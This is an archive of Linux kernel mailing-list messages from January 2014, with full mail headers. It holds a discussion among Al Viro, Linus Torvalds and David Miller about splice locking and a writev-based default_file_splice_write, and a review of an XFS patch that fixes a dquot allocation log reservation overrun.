xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B353C7F8D for ; Sat, 18 Jan 2014 01:22:12 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6AB31AC003 for ; Fri, 17 Jan 2014 23:22:09 -0800 (PST) X-ASG-Debug-ID: 1390029724-04bdf0568e347190001-NocioJ Received: from mail-vb0-f50.google.com (mail-vb0-f50.google.com [209.85.212.50]) by cuda.sgi.com with ESMTP id GSlaNDApoPjAoegF (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 17 Jan 2014 23:22:04 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.50 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.50] Received: by mail-vb0-f50.google.com with SMTP id w8so1992143vbj.9 for ; Fri, 17 Jan 2014 23:22:04 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.50] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.50] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=9v/vtbCTYXqBxr8ZeE18g05dZGGV5TRULOHJAfZmLxg=; b=RqxDEQ2JWnhvpEHDLzpSMuN1W5nmwA76XDBgVPLX2RjidBeE/9VkN6cX11X21yvOqf zbG55Ea/GZPVrWG9/bPc4mgffNsidUmIXgLkyQpHG/GIiGJkVlzIiYDHd8Fn1xUQwlNk ZW0LuscM6BQbSM6w+RxgWD+2gpQNeMvGJ8zU3hVWHcbtd0WYZ+fu/U2xezCNIhwv3SnP GqGnY3OzTx9oS+GW3AkyMAKvOHHMzZjDK+8yyfu0SbF1HpLqN/rxms3t2XtMGO7IMTXc WQplZK79VavNvh59PPJdt82On1JyxqVZWSXid8n0SfLMvhHwMB6e1MVQ8DOAtBrEuDMn g/sQ== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=9v/vtbCTYXqBxr8ZeE18g05dZGGV5TRULOHJAfZmLxg=; b=B9tDlG9XhzHS6qgi+mOEBrm/MS1DeeO8TKp/HSfcHNJTlCgL9GjL7CqGbMNyc+N2yn nXaKMZkFKuC637s0MXM78BEuWNSEYx0VAiUu6C+z3XHsA6ELJxD+037bqoWAfgcOMakr G+dtB29i2BC5aLOI5k2p2ppXanznrJaAWNYUM= MIME-Version: 1.0 X-Received: by 10.52.163.231 with SMTP id yl7mr327355vdb.29.1390029724121; Fri, 17 Jan 2014 23:22:04 -0800 (PST) Sender: linus971@gmail.com Received: by 10.221.8.73 with HTTP; Fri, 17 Jan 2014 23:22:04 -0800 (PST) In-Reply-To: <20140118064040.GE10323@ZenIV.linux.org.uk> References: <20131212181459.994196463@bombadil.infradead.org> <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> Date: Fri, 17 Jan 2014 23:22:04 -0800 X-Google-Sender-Auth: SQMuXjx_iB4hzynI9cCjoscXExo Message-ID: Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring From: Linus Torvalds X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring To: Al Viro Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-vb0-f50.google.com[209.85.212.50] X-Barracuda-Start-Time: 1390029724 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144203 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, Jan 17, 2014 at 10:40 PM, Al Viro wrote: > > Objections, comments? I certainly object to the "map, then unmap" approach. No VM games. But if it can be done more naturally as a writev, then that may well be ok. As long as we're talking about just the default_file_splice_write() case, and people who want to do special things with page movement can continue to do so.. Linus From viro@ftp.linux.org.uk Sat Jan 18 01:47:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 894837F8E for ; Sat, 18 Jan 2014 01:47:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2675EAC001 for ; Fri, 17 Jan 2014 23:47:21 -0800 (PST) X-ASG-Debug-ID: 1390031239-04bdf00fe278a210001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id e9cbUOMQr8hgTZHT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 17 Jan 2014 23:47:20 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1W4QcD-000801-U9; Sat, 18 Jan 2014 07:46:49 +0000 Date: Sat, 18 Jan 2014 07:46:49 +0000 From: Al Viro To: Linus Torvalds Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring Message-ID: <20140118074649.GF10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring References: <20131212181459.994196463@bombadil.infradead.org> <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1390031240 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144203 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jan 17, 2014 at 11:22:04PM -0800, Linus Torvalds wrote: > On Fri, Jan 17, 2014 at 10:40 PM, Al Viro wrote: > > > > Objections, comments? > > I certainly object to the "map, then unmap" approach. No VM games. Um... int pipe_to_file(struct pipe_inode_info *pipe, struct pipe_buffer *buf, struct splice_desc *sd) ... if (buf->page != page) { char *src = buf->ops->map(pipe, buf, 1); char *dst = kmap_atomic(page); memcpy(dst + offset, src + buf->offset, this_len); flush_dcache_page(page); kunmap_atomic(dst); buf->ops->unmap(pipe, buf, src); } ... ->map() and ->unmap() (BTW, why are those methods, anyway? They are identical for all instances) are void *generic_pipe_buf_map(struct pipe_inode_info *pipe, struct pipe_buffer *buf, int atomic) { if (atomic) { buf->flags |= PIPE_BUF_FLAG_ATOMIC; return kmap_atomic(buf->page); } return kmap(buf->page); } and void generic_pipe_buf_unmap(struct pipe_inode_info *pipe, struct pipe_buffer *buf, void *map_data) { if (buf->flags & PIPE_BUF_FLAG_ATOMIC) { buf->flags &= ~PIPE_BUF_FLAG_ATOMIC; kunmap_atomic(map_data); } else kunmap(buf->page); } resp. If we are going to copy that data (and all users of generic_file_splice_write() do that memcpy() to page cache), we have to kmap the source ;-/ > But if it can be done more naturally as a writev, then that may well > be ok. As long as we're talking about just the > default_file_splice_write() case, and people who want to do special > things with page movement can continue to do so.. The thing is, after such change default_file_splice_write() is no worse than generic_file_splice_write(). The only instances that really want something else are the ones that try to steal pages (e.g. virtio_console, fuse miscdev) or sockets, with their "do DMA from the sodding page, don't copy it at anywhere" ->sendpage() method. IOW, ones those special things you are talking about. Normal filesystems do not - not on pipe-to-file splice. file-to-pipe - sure, that one plays with pagecache and tries hard to do zero-copy, but that's ->splice_read(), not ->splice_write()... _If_ somebody figures out how to deal with zero-copy on pipe-to-file - fine, we'll be able to revisit that. But there hadn't been one since 2007 and there was zero activity in that area, so... What I'm doing right now is taking do_readv_writev() apart and making the stuff after rw_copy_check_uvector() non-static (visible in fs/internal.h). As long as we do not go through rw_copy_check_uvector() (we'd just built that iovec ourselves and it's already in kernel space), we should be fine - single copy done straight to pagecache, with whatever locks fs wants to take, etc. From viro@ftp.linux.org.uk Sat Jan 18 01:57:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 833627F87 for ; Sat, 18 Jan 2014 01:57:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6044B304070 for ; Fri, 17 Jan 2014 23:57:15 -0800 (PST) X-ASG-Debug-ID: 1390031833-04bdf0568e348760001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id fk5QhRcFGhbKlDV6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 17 Jan 2014 23:57:14 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1W4Qlr-00082k-Q7; Sat, 18 Jan 2014 07:56:47 +0000 Date: Sat, 18 Jan 2014 07:56:47 +0000 From: Al Viro To: Linus Torvalds Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring Message-ID: <20140118075647.GG10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring References: <20131212181459.994196463@bombadil.infradead.org> <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140118074649.GF10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1390031833 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144204 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Sat, Jan 18, 2014 at 07:46:49AM +0000, Al Viro wrote: > Um... > int pipe_to_file(struct pipe_inode_info *pipe, struct pipe_buffer *buf, > struct splice_desc *sd) > ... > if (buf->page != page) { > char *src = buf->ops->map(pipe, buf, 1); > char *dst = kmap_atomic(page); > > memcpy(dst + offset, src + buf->offset, this_len); > flush_dcache_page(page); > kunmap_atomic(dst); > buf->ops->unmap(pipe, buf, src); > } BTW, that if (buf->page != page) is always true - it's a leftover from before Nick's removal of ->steal() uses in pipe_to_file() (as well as the big fat comment in front of that function that had lost any relation to what it's doing 7 years ago)... Is there anybody maintaining fs/splice.c these days? I'd been doing massive RTFS in that area lately, but it would certainly be nice to have some braindump on the design and issues in that thing, preferably still matching the code... From viro@ftp.linux.org.uk Sat Jan 18 02:27:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 121667F89 for ; Sat, 18 Jan 2014 02:27:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EBD21304048 for ; Sat, 18 Jan 2014 00:27:45 -0800 (PST) X-ASG-Debug-ID: 1390033663-04bdf00fdf78ba70001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id Lsn8bsmGdF9qkKE1 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 18 Jan 2014 00:27:44 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1W4RFa-0008An-Vl; Sat, 18 Jan 2014 08:27:31 +0000 Date: Sat, 18 Jan 2014 08:27:30 +0000 From: Al Viro To: Linus Torvalds Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , David Miller Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring Message-ID: <20140118082730.GH10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring References: <20131212181459.994196463@bombadil.infradead.org> <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140118074649.GF10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1390033664 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144205 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Jan 18, 2014 at 07:46:49AM +0000, Al Viro wrote: > On Fri, Jan 17, 2014 at 11:22:04PM -0800, Linus Torvalds wrote: > > On Fri, Jan 17, 2014 at 10:40 PM, Al Viro wrote: > > > > > > Objections, comments? > > > > I certainly object to the "map, then unmap" approach. No VM games. [snip] > > But if it can be done more naturally as a writev, then that may well > > be ok. As long as we're talking about just the > > default_file_splice_write() case, and people who want to do special > > things with page movement can continue to do so.. > > The thing is, after such change default_file_splice_write() is no worse than > generic_file_splice_write(). The only instances that really want something > else are the ones that try to steal pages (e.g. virtio_console, fuse miscdev) > or sockets, with their "do DMA from the sodding page, don't copy it at > anywhere" ->sendpage() method. IOW, ones those special things you are > talking about. Normal filesystems do not - not on pipe-to-file splice. > file-to-pipe - sure, that one plays with pagecache and tries hard to > do zero-copy, but that's ->splice_read(), not ->splice_write()... BTW, would sockets benefit from having ->sendpages() that would take an array of (page, offset, len) triples? It would be trivial to do and some of the helpers that are falling out of writing that writev-based default_file_splice_write() look like they could be reused for calling that one... Dave? From davem@davemloft.net Sat Jan 18 02:44:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7EB0D7F93 for ; Sat, 18 Jan 2014 02:44:57 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 52B25304053 for ; Sat, 18 Jan 2014 00:44:57 -0800 (PST) X-ASG-Debug-ID: 1390034696-04cb6c537be70be0001-NocioJ Received: from shards.monkeyblade.net (shards.monkeyblade.net [149.20.54.216]) by cuda.sgi.com with ESMTP id aq2d12nH1V1Kv8JK for ; Sat, 18 Jan 2014 00:44:56 -0800 (PST) X-Barracuda-Envelope-From: davem@davemloft.net X-Barracuda-Apparent-Source-IP: 149.20.54.216 Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98]) (Authenticated sender: davem-davemloft) by shards.monkeyblade.net (Postfix) with ESMTPSA id 5A6565821EC; Sat, 18 Jan 2014 00:44:55 -0800 (PST) Date: Sat, 18 Jan 2014 00:44:53 -0800 (PST) Message-Id: <20140118.004453.1800341321580114709.davem@davemloft.net> To: viro@ZenIV.linux.org.uk Cc: torvalds@linux-foundation.org, hch@infradead.org, axboe@kernel.dk, mfasheh@suse.com, jlbec@evilplan.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, sage@inktank.com, sfrench@samba.org Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring From: David Miller X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring In-Reply-To: <20140118082730.GH10323@ZenIV.linux.org.uk> References: <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118082730.GH10323@ZenIV.linux.org.uk> X-Mailer: Mew version 6.5 on Emacs 24.1 / Mule 6.0 (HANACHIRUSATO) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: shards.monkeyblade.net[149.20.54.216] X-Barracuda-Start-Time: 1390034696 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144205 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header From: Al Viro Date: Sat, 18 Jan 2014 08:27:30 +0000 > BTW, would sockets benefit from having ->sendpages() that would take an > array of (page, offset, len) triples? It would be trivial to do and > some of the helpers that are falling out of writing that writev-based > default_file_splice_write() look like they could be reused for > calling that one... Dave? That's originally how the sendpage method was implemented, but back then Linus asked us to only pass one page at a time. I don't remember the details beyond that. From jeff.liu@oracle.com Sat Jan 18 08:18:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 01B107F6F for ; Sat, 18 Jan 2014 08:18:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E0CC98F8066 for ; Sat, 18 Jan 2014 06:17:59 -0800 (PST) X-ASG-Debug-ID: 1390054675-04cb6c537ce7d170001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 6oMI4giJi81Lg3RV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 18 Jan 2014 06:17:55 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0IEHrYk025819 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 18 Jan 2014 14:17:54 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0IEHrwf015516 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 18 Jan 2014 14:17:53 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s0IEHqYZ013471; Sat, 18 Jan 2014 14:17:53 GMT Received: from [192.168.1.106] (/123.119.105.25) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 18 Jan 2014 06:17:52 -0800 Message-ID: <52DA8D09.4000408@oracle.com> Date: Sat, 18 Jan 2014 22:17:45 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: use tr_qm_dqalloc log reservation for dquot alloc References: <1389981723-54311-1-git-send-email-bfoster@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: use tr_qm_dqalloc log reservation for dquot alloc In-Reply-To: <1389981723-54311-1-git-send-email-bfoster@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1390054675 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144213 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/18 2014 02:02 AM, Brian Foster wrote: > The dquot allocation path in xfs_qm_dqread() currently uses the > attribute set log reservation, which appears to be incorrect. We > have reports of transaction reservation overruns with the current > code. E.g., a repeated run of xfstests test generic/270 on a 512b > block size fs occassionally produces the following in dmesg: > > XFS (sdN): xlog_write: reservation summary: > trans type = QM_DQALLOC (30) > unit res = 7080 bytes > current res = -632 bytes > total reg = 0 bytes (o/flow = 0 bytes) > ophdrs = 0 (ophdr space = 0 bytes) > ophdr + reg = 0 bytes > num regions = 0 > > XFS (sdN): xlog_write: reservation ran out. Need to up reservation > > The dquot allocation case should consist of a write reservation > (i.e., we are allocating a range of the internal quota file) plus > the size of the actual dquots. We already have a log reservation > definition for this operation (tr_qm_dqalloc). Use it in > xfs_qm_dqread() and update the log reservation calculation function > to use the write res. calculation function rather than reading the > assumed to be pre-calculated value directly. > > Signed-off-by: Brian Foster > --- > Hi all, > > This issue was reported here: > > https://bugzilla.redhat.com/show_bug.cgi?id=1052787 > > ... and the patch seems to address the reservation overrun from my testing. > It also runs through an xfstests regression. Thanks. > > Brian > > fs/xfs/xfs_dquot.c | 2 +- > fs/xfs/xfs_trans_resv.c | 3 +-- > 2 files changed, 2 insertions(+), 3 deletions(-) > > diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c > index 6b1e695..06280c6 100644 > --- a/fs/xfs/xfs_dquot.c > +++ b/fs/xfs/xfs_dquot.c > @@ -614,7 +614,7 @@ xfs_qm_dqread( > > if (flags & XFS_QMOPT_DQALLOC) { > tp = xfs_trans_alloc(mp, XFS_TRANS_QM_DQALLOC); > - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_attrsetm, > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_qm_dqalloc, > XFS_QM_DQALLOC_SPACE_RES(mp), 0); Ah, another issue I introduced for refactoring xfs_trans_reserve() interface. > if (error) > goto error1; > diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c > index 2fd59c0..60b7d40 100644 > --- a/fs/xfs/xfs_trans_resv.c > +++ b/fs/xfs/xfs_trans_resv.c > @@ -651,8 +651,7 @@ STATIC uint > xfs_calc_qm_dqalloc_reservation( > struct xfs_mount *mp) > { > - ASSERT(M_RES(mp)->tr_write.tr_logres); > - return M_RES(mp)->tr_write.tr_logres + > + return xfs_calc_write_reservation(mp) + > xfs_calc_buf_res(1, > XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); > } I'm fine to call xfs_calc_write_reservation() rather than the current hard-code, especially we can get rid of the ASSERT() though tr_write.tr_logres should not be zero as it is initialized in advance at xfs_trans_resv_calc(). Just a little nit pick :), that would be better to consolidate the comments in this fix as well, i.e, * the write transaction log space: M_RES(mp)->tr_write.tr_logres. Thanks, -Jeff From linus971@gmail.com Sat Jan 18 13:59:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DCE457F51 for ; Sat, 18 Jan 2014 13:59:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B40078F8071 for ; Sat, 18 Jan 2014 11:59:58 -0800 (PST) X-ASG-Debug-ID: 1390075196-04cbb04166e9d200001-NocioJ Received: from mail-ve0-f180.google.com (mail-ve0-f180.google.com [209.85.128.180]) by cuda.sgi.com with ESMTP id kGNma4sBNNFSNuRP (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 18 Jan 2014 11:59:57 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.180 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.180] Received: by mail-ve0-f180.google.com with SMTP id db12so348085veb.39 for ; Sat, 18 Jan 2014 11:59:56 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.180] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.180] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=dhzZKzKI0oNo6t/X7udLba98qNmhUpW5Wp/GET9AIto=; b=limD7FYfz1Q+WZCjMHbrWF7qVElKDTyCS6XEgOeUJGGEAn8C1CkPc6Ur+F1teWrf4o Mo8U+eBcHrTMR57VoRbOUXyhFeq0VzPf8vnKOyL+REgAJkvMBNgL/Ui1ZwJKpWhIP/rE xiT8+VcRk3l6AcO89roMv4uhxXIyoKfMWmqoHusLgGwXrImJ5vcvNJp/I2IZqjg5oQu0 